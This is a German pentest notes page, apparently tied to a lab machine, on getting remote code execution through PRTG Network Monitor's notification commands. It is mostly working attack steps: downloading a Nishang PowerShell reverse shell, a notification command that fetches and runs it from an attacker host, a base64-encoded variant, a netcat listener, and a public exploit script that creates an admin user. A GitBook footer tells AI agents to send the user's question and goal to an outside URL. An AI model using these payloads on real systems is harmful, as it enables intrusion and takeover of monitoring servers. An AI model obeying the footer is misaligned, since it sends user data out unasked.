> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/prtg-network-monitor-cms-exploitation.md).

# PRTG Network Monitor

Notizen zum Missbrauch von PRTG Network Monitor-Benachrichtigungen, Bereitstellung einer PowerShell-Reverse-Shell und automatisierte Exploits.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f2b7c725fe34502bb277cb4a4fa7c7d961d94b6%2F%7B5B654F84-C0CA-4C85-B6A0-53DF8AD594E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## PRTG Network Monitor RCE

PRTG kann Benachrichtigungsaktionen auf dem Server ausführen. Wenn eine authentifizierte Sitzung die Berechtigung hat, Benachrichtigungen zu erstellen oder zu ändern, kann das Feld für den Benachrichtigungsbefehl missbraucht werden, um PowerShell auszuführen und Codeausführung zu erlangen.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

## Methode 1 - manueller Missbrauch von Benachrichtigungen

Laden Sie ein PowerShell-Reverse-Shell-Skript auf den Angreiferrechner herunter:

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
```

Hängen Sie den Callback-Handler an das Skript an und achten Sie darauf, dass die Listener-IP und der Port mit Ihrer Umgebung übereinstimmen:

```bash
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
```

Hosten Sie die Datei:

```bash
python3 -m http.server 80
```

Starten Sie einen Listener:

```bash
rlwrap nc -nvlp 443
```

Gehen Sie in PRTG zu `Setup > Account Settings > Notifications` und erstellen Sie eine neue Benachrichtigungsaktion, die ein Programm oder Skript ausführt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4bc63a1d63ebd4bf9eb949f86bd20f66c930dfd5%2Fimage%20(2633).png?alt=media" alt=""><figcaption></figcaption></figure>

Verwenden Sie den Benachrichtigungsbefehl, damit der Server das gehostete PowerShell-Skript herunterlädt und ausführt:

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41a1d2506902f31c0962540c196dcad3fe8797ba%2F%7B2BD8D24B-B05F-4BB9-AD15-EC7615ECDCF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wenn die Anfrage den Webserver erreicht, die Reverse Shell sich aber nicht zurückverbindet, konvertieren Sie das PowerShell-Skript in UTF-16LE Base64 und verwenden Sie PowerShell `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

Platzieren Sie dann die kodierte Nutzlast im Benachrichtigungsbefehl:

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09be377b4b086d9082539e38f7120dcf6727cf24%2F%7BD71C0949-3B8E-4C38-ACA2-3BFC81215627%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Methode 2 - automatisierter Exploit

Suchen Sie nach öffentlichen Exploits für PRTG Network Monitor und kopieren Sie das passende Skript:

```bash
searchsploit -m windows/webapps/46527.sh
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c44907faff6270060ad03a45aa49f53db541d1cc%2Fimage%20(2630).png?alt=media" alt=""><figcaption></figcaption></figure>

Führen Sie das Skript mit der Ziel-URL und dem authentifizierten Sitzungscookie aus:

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

Der Exploit erstellt einen neuen Benutzer:

* Benutzername: `pentest`
* Passwort: `P3nT3st!`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c72c97357d294c4aae21d8eac7388161d959a0f1%2F%7BEDE2B19A-D649-4D1B-981C-F8C9CF5426C0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/cms/prtg-network-monitor-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
